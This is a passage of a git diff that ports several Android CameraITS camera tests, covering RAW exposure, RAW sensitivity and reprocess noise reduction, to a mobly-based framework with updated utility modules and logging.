-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.raw16(props) and
-                             its.caps.manual_sensor(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
-        debug = its.caps.debug_mode()
+def define_raw_stats_fmt(props):
+  """Define format with active array width and height."""
+  aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+  aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+  aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right']-aax
+  aah = props['android.sensor.info.preCorrectionActiveArraySize']['bottom']-aay
+  return {'format': 'rawStats',
+          'gridWidth': aaw // IMG_STATS_GRID,
+          'gridHeight': aah // IMG_STATS_GRID}
 
-        # Expose for the scene with min sensitivity
-        exp_min, exp_max = props["android.sensor.info.exposureTimeRange"]
-        sens_min, _ = props["android.sensor.info.sensitivityRange"]
-        # Digital gains might not be visible on RAW data
-        sens_max = props["android.sensor.maxAnalogSensitivity"]
-        sens_step = (sens_max - sens_min) / NUM_ISO_STEPS
-        white_level = float(props["android.sensor.info.whiteLevel"])
-        black_levels = [its.image.get_black_level(i, props) for i in range(4)]
-        # Get the active array width and height.
-        aax = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
-        aay = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
-        aaw = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-aax
-        aah = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-aay
-        raw_stat_fmt = {"format": "rawStats",
-                        "gridWidth": aaw/IMG_STATS_GRID,
-                        "gridHeight": aah/IMG_STATS_GRID}
 
-        e_test = []
-        mult = 1.0
-        while exp_min*mult < exp_max:
-            e_test.append(int(exp_min*mult))
-            if exp_min*mult < EXP_LONG:
-                mult *= EXP_MULT_SHORT
-            else:
-                mult *= EXP_MULT_LONG
-        if e_test[-1] < exp_max * INCREASING_THR:
-            e_test.append(int(exp_max))
-        e_test_ms = [e / 1000000.0 for e in e_test]
+def create_plot(exps, means, sens, log_path):
+  """Create plots R, Gr, Gb, B vs exposures.
 
-        for s in range(sens_min, sens_max, sens_step):
-            means = []
-            means.append(black_levels)
-            reqs = [its.objects.manual_capture_request(s, e, 0) for e in e_test]
-            # Capture raw in debug mode, rawStats otherwise
-            caps = []
-            slice_len = SLICE_LEN
-            # Eliminate cap burst of 1: returns [[]], not [{}, ...]
-            while len(reqs) % slice_len == 1:
-                slice_len -= 1
-            # Break caps into smaller bursts
-            for i in range(len(reqs) / slice_len):
-                if debug:
-                    caps += cam.do_capture(reqs[i*slice_len:(i+1)*slice_len], cam.CAP_RAW)
-                else:
-                    caps += cam.do_capture(reqs[i*slice_len:(i+1)*slice_len], raw_stat_fmt)
-            last_n = len(reqs) % slice_len
-            if last_n:
-                if debug:
-                    caps += cam.do_capture(reqs[-last_n:], cam.CAP_RAW)
-                else:
-                    caps += cam.do_capture(reqs[-last_n:], raw_stat_fmt)
+  Args:
+    exps: array of exposure times in ms
+    means: array of means for RAW captures
+    sens: int value for ISO gain
+    log_path: path to write plot file
+  Returns:
+    None
+  """
+  # means[0] is black level value
+  r = [m[0] for m in means[1:]]
+  gr = [m[1] for m in means[1:]]
+  gb = [m[2] for m in means[1:]]
+  b = [m[3] for m in means[1:]]
+  pylab.figure('%s_%s' % (NAME, sens))
+  pylab.plot(exps, r, 'r.-')
+  pylab.plot(exps, b, 'b.-')
+  pylab.plot(exps, gr, 'g.-')
+  pylab.plot(exps, gb, 'k.-')
+  pylab.xscale('log')
+  pylab.yscale('log')
+  pylab.title('%s ISO=%d' % (NAME, sens))
+  pylab.xlabel('Exposure time (ms)')
+  pylab.ylabel('Center patch pixel mean')
+  matplotlib.pyplot.savefig(
+      '%s_s=%d.png' % (os.path.join(log_path, NAME), sens))
+  pylab.clf()
 
-            # Measure the mean of each channel.
-            # Each shot should be brighter (except underexposed/overexposed scene)
-            for i, cap in enumerate(caps):
-                if debug:
-                    planes = its.image.convert_capture_to_planes(cap, props)
-                    tiles = [its.image.get_image_patch(p, 0.445, 0.445, 0.11, 0.11) for p in planes]
-                    mean = [m * white_level for tile in tiles
-                            for m in its.image.compute_image_means(tile)]
-                    img = its.image.convert_capture_to_rgb_image(cap, props=props)
-                    its.image.write_image(img, "%s_s=%d_e=%05d.jpg"
-                                          % (NAME, s, e_test[i]))
-                else:
-                    mean_image, _ = its.image.unpack_rawstats_capture(cap)
-                    mean = mean_image[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
-                print "ISO=%d, exposure time=%.3fms, mean=%s" % (
-                        s, e_test[i] / 1000000.0, str(mean))
-                means.append(mean)
 
-            # means[0] is black level value
-            r = [m[0] for m in means[1:]]
-            gr = [m[1] for m in means[1:]]
-            gb = [m[2] for m in means[1:]]
-            b = [m[3] for m in means[1:]]
+def assert_increasing_means(means, exps, sens, black_levels, white_level):
+  """Assert that each image increases unless over/undersaturated.
 
-            pylab.plot(e_test_ms, r, "r.-")
-            pylab.plot(e_test_ms, b, "b.-")
-            pylab.plot(e_test_ms, gr, "g.-")
-            pylab.plot(e_test_ms, gb, "k.-")
-            pylab.xscale("log")
-            pylab.yscale("log")
-            pylab.title("%s ISO=%d" % (NAME, s))
-            pylab.xlabel("Exposure time (ms)")
-            pylab.ylabel("Center patch pixel mean")
-            matplotlib.pyplot.savefig("%s_s=%d.png" % (NAME, s))
-            pylab.clf()
+  Args:
+    means: COLORS means for set of images
+    exps: exposure times in ms
+    sens: ISO gain value
+    black_levels: COLORS black_level values
+    white_level: full scale value
+  Returns:
+    None
+  """
+  allow_under_saturated = True
+  for i in range(1, len(means)):
+    prev_mean = means[i-1]
+    mean = means[i]
 
-            allow_under_saturated = True
-            for i in xrange(1, len(means)):
-                prev_mean = means[i-1]
-                mean = means[i]
+    if np.isclose(max(mean), white_level, rtol=IMG_SAT_RTOL):
+      logging.debug('Saturated: white_level %f, max_mean %f',
+                    white_level, max(mean))
+      break
 
-                if np.isclose(max(mean), white_level, rtol=SATURATION_TOL):
-                    print "Saturated: white_level %f, max_mean %f"% (white_level, max(mean))
-                    break
+    if allow_under_saturated and np.allclose(
+        mean, black_levels, rtol=BLK_LVL_RTOL):
+      # All channel means are close to black level
+      continue
 
-                if allow_under_saturated and np.allclose(mean, black_levels, rtol=BLK_LVL_TOL):
-                    # All channel means are close to black level
-                    continue
+    allow_under_saturated = False
+    # Check pixel means are increasing (with small tolerance)
+    for ch, color in enumerate(COLORS):
+      e_msg = 'ISO=%d, %s, exp %3fms mean: %.2f, %s mean: %.2f, TOL=%.f%%' % (
+          sens, color, exps[i-1], mean[ch],
+          'black level' if i == 1 else 'exp_time %3fms'%exps[i-2],
+          prev_mean[ch], IMG_DELTA_THRESH*100)
+      assert mean[ch] > prev_mean[ch] * IMG_DELTA_THRESH, e_msg
 
-                allow_under_saturated = False
-                # Check pixel means are increasing (with small tolerance)
-                channels = ["Red", "Gr", "Gb", "Blue"]
-                for chan in range(4):
-                    err_msg = "ISO=%d, %s, exptime %3fms mean: %.2f, %s mean: %.2f, TOL=%.f%%" % (
-                            s, channels[chan],
-                            e_test_ms[i-1], mean[chan],
-                            "black level" if i == 1 else "exptime %3fms"%e_test_ms[i-2],
-                            prev_mean[chan],
-                            INCREASING_THR*100)
-                    assert mean[chan] > prev_mean[chan] * INCREASING_THR, err_msg
 
-if __name__ == "__main__":
-    main()
+class RawExposureTest(its_base_test.ItsBaseTest):
+  """Capture RAW images with increasing exp time and measure pixel values."""
+
+  def test_raw_exposure(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create list of exposures
+      e_min, e_max = props['android.sensor.info.exposureTimeRange']
+      e_test = create_test_exposure_list(e_min, e_max)
+      e_test_ms = [e*NS_TO_MS_FACTOR for e in e_test]
+
+      # Capture with rawStats to reduce capture times
+      fmt = define_raw_stats_fmt(props)
+
+      # Create sensitivity range from min to max analog sensitivity
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      sens_max = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max - sens_min) // NUM_ISO_STEPS
+      white_level = float(props['android.sensor.info.whiteLevel'])
+      black_levels = [image_processing_utils.get_black_level(
+          i, props) for i in range(NUM_COLORS)]
+
+      # Do captures with exposure list over sensitivity range
+      for s in range(sens_min, sens_max, sens_step):
+        # Break caps into bursts and do captures
+        burst_len = BURST_LEN
+        caps = []
+        reqs = [capture_request_utils.manual_capture_request(
+            s, e, 0) for e in e_test]
+        # Eliminate burst len==1. Error because returns [[]], not [{}, ...]
+        while len(reqs) % burst_len == 1:
+          burst_len -= 1
+        # Break caps into bursts
+        for i in range(len(reqs) // burst_len):
+          caps += cam.do_capture(reqs[i*burst_len:(i+1)*burst_len], fmt)
+        last_n = len(reqs) % burst_len
+        if last_n:
+          caps += cam.do_capture(reqs[-last_n:], fmt)
+
+        # Extract means for each capture
+        means = []
+        means.append(black_levels)
+        for i, cap in enumerate(caps):
+          mean_image, _ = image_processing_utils.unpack_rawstats_capture(cap)
+          mean = mean_image[IMG_STATS_GRID // 2, IMG_STATS_GRID // 2]
+          logging.debug('ISO=%d, exp_time=%.3fms, mean=%s',
+                        s, (e_test[i] * NS_TO_MS_FACTOR), str(mean))
+          means.append(mean)
+
+        # Create plot
+        create_plot(e_test_ms, means, s, log_path)
+
+        # Each shot mean should be brighter (except under/overexposed scene)
+        assert_increasing_means(means, e_test_ms, s, black_levels, white_level)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
index 5eb6d47..0a57945 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_sensitivity.py
@@ -11,93 +11,115 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies sensitivities on RAW images."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import matplotlib.pyplot
+import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-GR_PLANE = 1  # GR plane index in RGGB data
-IMG_STATS_GRID = 9  # find used to find the center 11.11%
-NAME = os.path.basename(__file__).split(".")[0]
-NUM_STEPS = 5
-VAR_THRESH = 1.01  # each shot must be 1% noisier than previous
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
+GR_PLANE_IDX = 1  # GR plane index in RGGB data
+IMG_STATS_GRID = 9  # Center 11.11%
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_SENS_STEPS = 5
+VAR_THRESH = 1.01  # Each shot must be 1% noisier than previous
 
 
-def main():
-    """Capture a set of raw images with increasing gains and measure the noise.
-    """
+def define_raw_stats_fmt(props):
+  """Define format with active array width and height."""
+  aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+  aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+  aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right'] - aax
+  aah = props[
+      'android.sensor.info.preCorrectionActiveArraySize']['bottom'] - aay
 
-    with its.device.ItsSession() as cam:
+  return {'format': 'rawStats',
+          'gridWidth': aaw // IMG_STATS_GRID,
+          'gridHeight': aah // IMG_STATS_GRID}
 
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.raw16(props) and
-                             its.caps.manual_sensor(props) and
-                             its.caps.read_3a(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
-        debug = its.caps.debug_mode()
 
-        # Expose for the scene with min sensitivity
-        sens_min, _ = props["android.sensor.info.sensitivityRange"]
-        # Digital gains might not be visible on RAW data
-        sens_max = props["android.sensor.maxAnalogSensitivity"]
-        sens_step = (sens_max - sens_min) / NUM_STEPS
+class RawSensitivityTest(its_base_test.ItsBaseTest):
+  """Capture a set of raw images with increasing gains and measure the noise."""
+
+  def test_raw_sensitivity(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+      camera_fov = float(cam.calc_camera_fov(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Expose for the scene with min sensitivity
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      # Digital gains might not be visible on RAW data
+      sens_max = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max - sens_min) // NUM_SENS_STEPS
+
+      # Skip AF if TELE camera
+      if camera_fov <= opencv_processing_utils.FOV_THRESH_TELE:
+        s_ae, e_ae, _, _, _ = cam.do_3a(do_af=False, get_results=True)
+        f_dist = 0
+      else:
         s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
-        s_e_prod = s_ae * e_ae
+      s_e_prod = s_ae * e_ae
 
-        variances = []
-        for s in range(sens_min, sens_max, sens_step):
+      sensitivities = list(range(sens_min, sens_max, sens_step))
+      variances = []
+      for s in sensitivities:
+        e = int(s_e_prod / float(s))
+        req = capture_request_utils.manual_capture_request(s, e, f_dist)
 
-            e = int(s_e_prod / float(s))
-            req = its.objects.manual_capture_request(s, e, f_dist)
+        # Capture in rawStats to reduce test run time
+        fmt = define_raw_stats_fmt(props)
+        cap = cam.do_capture(req, fmt)
 
-            # Capture raw in debug mode, rawStats otherwise
-            # Measure the variance. Each shot should be noisier than the
-            # previous shot (as the gain is increasing).
-            if debug:
-                cap = cam.do_capture(req, cam.CAP_RAW)
-                gr = its.image.convert_capture_to_planes(cap, props)[1]
-                tile = its.image.get_image_patch(gr, 0.445, 0.445, 0.11, 0.11)
-                var = its.image.compute_image_variances(tile)[0]
-                img = its.image.convert_capture_to_rgb_image(cap, props=props)
-                its.image.write_image(img, "%s_s=%05d_var=%f.jpg" %
-                                      (NAME, s, var))
-            else:
-                # Get the active array width and height.
-                aax = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
-                aay = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
-                aaw = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-aax
-                aah = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-aay
-                white_level = float(props["android.sensor.info.whiteLevel"])
-                cap = cam.do_capture(req,
-                                     {"format": "rawStats",
-                                      "gridWidth": aaw/IMG_STATS_GRID,
-                                      "gridHeight": aah/IMG_STATS_GRID})
-                _, var_image = its.image.unpack_rawstats_capture(cap)
-                cfa_idxs = its.image.get_canonical_cfa_order(props)
-                var = var_image[IMG_STATS_GRID/2, IMG_STATS_GRID/2,
-                                cfa_idxs[GR_PLANE]]/white_level**2
+        # Measure variance
+        _, var_image = image_processing_utils.unpack_rawstats_capture(cap)
+        cfa_idxs = image_processing_utils.get_canonical_cfa_order(props)
+        white_level = float(props['android.sensor.info.whiteLevel'])
+        var = var_image[IMG_STATS_GRID//2, IMG_STATS_GRID//2,
+                        cfa_idxs[GR_PLANE_IDX]]/white_level**2
+        logging.debug('s=%d, e=%d, var=%e', s, e, var)
+        variances.append(var)
 
-            variances.append(var)
-            print "s=%d, e=%d, var=%e" % (s, e, var)
+      # Create plot
+      pylab.figure(NAME)
+      pylab.plot(sensitivities, variances, '-ro')
+      pylab.xticks(sensitivities)
+      pylab.xlabel('Sensitivities')
+      pylab.ylabel('Image Center Patch Variance')
+      pylab.ticklabel_format(axis='y', style='sci', scilimits=(-6, -6))
+      pylab.title(NAME)
+      matplotlib.pyplot.savefig(
+          '%s_variances.png' % os.path.join(log_path, NAME))
 
-        x = range(len(variances))
-        pylab.plot(x, variances, "-ro")
-        pylab.xticks(x)
-        pylab.xlabel("Setting Combination")
-        pylab.ylabel("Image Center Patch Variance")
-        matplotlib.pyplot.savefig("%s_variances.png" % NAME)
+      # Test that each shot is noisier than previous
+      for i in range(len(variances) - 1):
+        e_msg = 'variances [i]: %.5f, [i+1]: %.5f, THRESH: %.2f' % (
+            variances[i], variances[i+1], VAR_THRESH)
+        assert variances[i] < variances[i+1]/VAR_THRESH, e_msg
 
-        # Test that each shot is noisier than the previous one.
-        for i in range(len(variances) - 1):
-            msg = 'variances [i]: %.5f, [i+1]: %.5f, THRESH: %.2f' % (
-                    variances[i], variances[i+1], VAR_THRESH)
-            assert variances[i] < variances[i+1] / VAR_THRESH, msg
-
-if __name__ == "__main__":
-    main()
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py b/apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
index 0f84244..f749d77 100644
--- a/apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
+++ b/apps/CameraITS/tests/scene1_2/test_reprocess_noise_reduction.py
@@ -11,172 +11,222 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.noiseReduction.mode applied for reprocessing reqs."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 import matplotlib
 from matplotlib import pylab
-import numpy
+from mobly import test_runner
+import numpy as np
 
-NAME = os.path.basename(__file__).split(".")[0]
-NR_MODES = [0, 1, 2, 3, 4]
-NUM_FRAMES = 4
-SNR_TOLERANCE = 3  # unit in dB
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+_COLORS = ('R', 'G', 'B')
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NR_MODES = {'OFF': 0, 'FAST': 1, 'HQ': 2, 'MIN': 3, 'ZSL': 4}
+_NR_MODES_LIST = tuple(_NR_MODES.values())
+_NUM_FRAMES = 4
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_SNR_TOL = 3  # unit in dB
 
 
-def main():
-    """Test android.noiseReduction.mode is applied for reprocessing requests.
+def calc_rgb_snr(cap, frame, nr_mode, log_path):
+  """Calculate the RGB SNRs from a capture center patch.
 
-    Capture reprocessed images with the camera dimly lit. Uses a high analog
-    gain to ensure the captured image is noisy.
+  Args:
+    cap: Camera capture object.
+    frame: Integer frame number.
+    nr_mode: Integer noise reduction mode index.
+    log_path: Text of locatoion to save images.
 
-    Captures three reprocessed images, for NR off, "fast", and "high quality".
-    Also captures a reprocessed image with low gain and NR off, and uses the
-    variance of this as the baseline.
-    """
+  Returns:
+    RGB SNRs.
+  """
+  img = image_processing_utils.decompress_jpeg_to_rgb_image(cap)
+  if frame == 0:  # save 1st frame
+    image_processing_utils.write_image(img, '%s_high_gain_nr=%d_fmt=jpg.jpg' % (
+        os.path.join(log_path, _NAME), nr_mode))
+  patch = image_processing_utils.get_image_patch(
+      img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  return image_processing_utils.compute_image_snrs(patch)
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
 
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.noise_reduction_mode(props, 0) and
-                             (its.caps.yuv_reprocess(props) or
-                              its.caps.private_reprocess(props)))
+def create_plot(snrs, reprocess_format, log_path):
+  """create plot from data.
 
-        # If reprocessing is supported, ZSL NR mode must be avaiable.
-        assert its.caps.noise_reduction_mode(props, 4)
+  Args:
+    snrs: RGB SNR data from NR_MODES captures.
+    reprocess_format: String of 'yuv' or 'private'.
+    log_path: String location for data.
+  """
+  pylab.figure(reprocess_format)
+  for ch, color in enumerate(_COLORS):
+    pylab.plot(_NR_MODES_LIST, snrs[ch], f'-{color.lower()}o')
+  pylab.title('%s (%s)' % (_NAME, reprocess_format))
+  pylab.xlabel('%s' % str(_NR_MODES)[1:-1])  # strip '{' '}' off string
+  pylab.ylabel('SNR (dB)')
+  pylab.xticks(_NR_MODES_LIST)
+  matplotlib.pyplot.savefig('%s_plot_%s_SNRs.png' % (
+      os.path.join(log_path, _NAME), reprocess_format))
 
-        reprocess_formats = []
-        if its.caps.yuv_reprocess(props):
-            reprocess_formats.append("yuv")
-        if its.caps.private_reprocess(props):
-            reprocess_formats.append("private")
 
-        for reprocess_format in reprocess_formats:
-            print "\nreprocess format:", reprocess_format
-            # List of variances for R, G, B.
-            snrs = [[], [], []]
-            nr_modes_reported = []
+class ReprocessNoiseReductionTest(its_base_test.ItsBaseTest):
+  """Test android.noiseReduction.mode is applied for reprocessing requests.
 
-            # NR mode 0 with low gain
-            e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
-            req = its.objects.manual_capture_request(s, e)
-            req["android.noiseReduction.mode"] = 0
+  Uses JPEG captures for the reprocessing as YUV captures are not available.
+  Uses high analog gain to ensure the captured images are noisy.
 
-            # Test reprocess_format->JPEG reprocessing
-            # TODO: Switch to reprocess_format->YUV when YUV reprocessing is
-            #       supported.
-            size = its.objects.get_available_output_sizes("jpg", props)[0]
-            out_surface = {"width": size[0], "height": size[1], "format": "jpg"}
-            cap = cam.do_capture(req, out_surface, reprocess_format)
-            img = its.image.decompress_jpeg_to_rgb_image(cap["data"])
-            its.image.write_image(img, "%s_low_gain_fmt=jpg.jpg" % NAME)
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            ref_snr = its.image.compute_image_snrs(tile)
-            print "Ref SNRs:", ref_snr
+  Determines which reprocessing formats are available among 'yuv' and 'private'.
+  For each reprocessing format:
+    Captures in supported reprocessed modes.
+    Averages _NUM_FRAMES to account for frame-to-frame variation.
+    Logs min/max of captures for debug if gross outlier.
+    Noise reduction (NR) modes:
+      OFF, FAST, High Quality (HQ), Minimal (MIN), and zero shutter lag (ZSL)
 
-            e, s = its.target.get_target_exposure_combos(cam)["maxSensitivity"]
-            for nr_mode in NR_MODES:
-                # Skip unavailable modes
-                if not its.caps.noise_reduction_mode(props, nr_mode):
-                    nr_modes_reported.append(nr_mode)
-                    for channel in range(3):
-                        snrs[channel].append(0)
-                    continue
+    Proper behavior:
+      FAST >= OFF, HQ >= FAST, HQ >> OFF
+      if MIN mode supported: MIN >= OFF, HQ >= MIN, ZSL ~ MIN
+      else: ZSL ~ OFF
+  """
 
-                rgb_snr_list = []
-                # Capture several images to account for per frame noise
-                # variations
-                req = its.objects.manual_capture_request(s, e)
-                req["android.noiseReduction.mode"] = nr_mode
-                caps = cam.do_capture(
-                        [req]*NUM_FRAMES, out_surface, reprocess_format)
-                for n in range(NUM_FRAMES):
-                    img = its.image.decompress_jpeg_to_rgb_image(
-                            caps[n]["data"])
-                    if n == 0:
-                        its.image.write_image(
-                                img, "%s_high_gain_nr=%d_fmt=jpg.jpg" % (
-                                        NAME, nr_mode))
-                        nr_modes_reported.append(
-                                caps[n]["metadata"]["android.noiseReduction.mode"])
+  def test_reprocess_noise_reduction(self):
+    logging.debug('Starting %s', _NAME)
+    logging.debug('NR_MODES: %s', str(_NR_MODES))
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.noise_reduction_mode(props, 0) and
+          (camera_properties_utils.yuv_reprocess(props) or
+           camera_properties_utils.private_reprocess(props)))
+      log_path = self.log_path
 
-                    tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-                    # Get the variances for R, G, and B channels
-                    rgb_snrs = its.image.compute_image_snrs(tile)
-                    rgb_snr_list.append(rgb_snrs)
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-                r_snrs = [rgb[0] for rgb in rgb_snr_list]
-                g_snrs = [rgb[1] for rgb in rgb_snr_list]
-                b_snrs = [rgb[2] for rgb in rgb_snr_list]
-                rgb_snrs = [numpy.mean(r_snrs),
-                            numpy.mean(g_snrs),
-                            numpy.mean(b_snrs)]
-                print "NR mode", nr_mode, "SNRs:"
-                print "    R SNR:", rgb_snrs[0],
-                print "Min:", min(r_snrs), "Max:", max(r_snrs)
-                print "    G SNR:", rgb_snrs[1],
-                print "Min:", min(g_snrs), "Max:", max(g_snrs)
-                print "    B SNR:", rgb_snrs[2],
-                print "Min:", min(b_snrs), "Max:", max(b_snrs)
+      # If reprocessing is supported, ZSL NR mode must be avaiable.
+      if not camera_properties_utils.noise_reduction_mode(
+          props, _NR_MODES['ZSL']):
+        raise KeyError('Reprocessing supported, so ZSL must be supported.')
 
-                for chan in range(3):
-                    snrs[chan].append(rgb_snrs[chan])
+      reprocess_formats = []
+      if camera_properties_utils.yuv_reprocess(props):
+        reprocess_formats.append('yuv')
+      if camera_properties_utils.private_reprocess(props):
+        reprocess_formats.append('private')
 
-            # Draw a plot.
-            pylab.figure(reprocess_format)
-            for channel in range(3):
-                pylab.plot(NR_MODES, snrs[channel], "-"+"rgb"[channel]+"o")
+      size = capture_request_utils.get_available_output_sizes('jpg', props)[0]
+      out_surface = {'width': size[0], 'height': size[1], 'format': 'jpg'}
+      for reprocess_format in reprocess_formats:
+        logging.debug('Reprocess format: %s', reprocess_format)
+        # List of variances for R, G, B.
+        snrs = [[], [], []]
+        nr_modes_reported = []
 
-            pylab.title(NAME + ", reprocess_fmt=" + reprocess_format)
-            pylab.xlabel("Noise Reduction Mode")
-            pylab.ylabel("SNR (dB)")
-            pylab.xticks(NR_MODES)
-            matplotlib.pyplot.savefig("%s_plot_%s_SNRs.png" %
-                                      (NAME, reprocess_format))
+        # Capture for each mode.
+        exp, sens = target_exposure_utils.get_target_exposure_combos(
+            log_path, cam)['maxSensitivity']
+        for nr_mode in _NR_MODES_LIST:
+          # Skip unavailable modes
+          if not camera_properties_utils.noise_reduction_mode(props, nr_mode):
+            nr_modes_reported.append(nr_mode)
+            for ch, _ in enumerate(_COLORS):
+              snrs[ch].append(0)
+            continue
 
-            assert nr_modes_reported == NR_MODES
+          # Create req, do caps and calc center SNRs.
+          rgb_snr_list = []
+          nr_modes_reported.append(nr_mode)
+          req = capture_request_utils.manual_capture_request(sens, exp)
+          req['android.noiseReduction.mode'] = nr_mode
+          caps = cam.do_capture(
+              [req]*_NUM_FRAMES, out_surface, reprocess_format)
+          for i in range(_NUM_FRAMES):
+            rgb_snr_list.append(calc_rgb_snr(caps[i]['data'], i, nr_mode,
+                                             log_path))
 
-            for j in range(3):
-                # Verify OFF(0) is not better than FAST(1)
-                msg = "FAST(1): %.2f, OFF(0): %.2f, TOL: %f" % (
-                        snrs[j][1], snrs[j][0], SNR_TOLERANCE)
-                assert snrs[j][0] < snrs[j][1] + SNR_TOLERANCE, msg
-                # Verify FAST(1) is not better than HQ(2)
-                msg = "HQ(2): %.2f, FAST(1): %.2f, TOL: %f" % (
-                        snrs[j][2], snrs[j][1], SNR_TOLERANCE)
-                assert snrs[j][1] < snrs[j][2] + SNR_TOLERANCE, msg
-                # Verify HQ(2) is better than OFF(0)
-                msg = "HQ(2): %.2f, OFF(0): %.2f" % (snrs[j][2], snrs[j][0])
-                assert snrs[j][0] < snrs[j][2], msg
-                if its.caps.noise_reduction_mode(props, 3):
-                    # Verify OFF(0) is not better than MINIMAL(3)
-                    msg = "MINIMAL(3): %.2f, OFF(0): %.2f, TOL: %f" % (
-                            snrs[j][3], snrs[j][0], SNR_TOLERANCE)
-                    assert snrs[j][0] < snrs[j][3] + SNR_TOLERANCE, msg
-                    # Verify MINIMAL(3) is not better than HQ(2)
-                    msg = "MINIMAL(3): %.2f, HQ(2): %.2f, TOL: %f" % (
-                            snrs[j][3], snrs[j][2], SNR_TOLERANCE)
-                    assert snrs[j][3] < snrs[j][2] + SNR_TOLERANCE, msg
-                    # Verify ZSL(4) is close to MINIMAL(3)
-                    msg = "ZSL(4): %.2f, MINIMAL(3): %.2f, TOL: %f" % (
-                            snrs[j][4], snrs[j][3], SNR_TOLERANCE)
-                    assert numpy.isclose(snrs[j][4], snrs[j][3],
-                                         atol=SNR_TOLERANCE), msg
-                else:
-                    # Verify ZSL(4) is close to OFF(0)
-                    msg = "ZSL(4): %.2f, OFF(0): %.2f, TOL: %f" % (
-                            snrs[j][4], snrs[j][0], SNR_TOLERANCE)
-                    assert numpy.isclose(snrs[j][4], snrs[j][0],
-                                         atol=SNR_TOLERANCE), msg
+          r_snrs = [rgb[0] for rgb in rgb_snr_list]
+          g_snrs = [rgb[1] for rgb in rgb_snr_list]
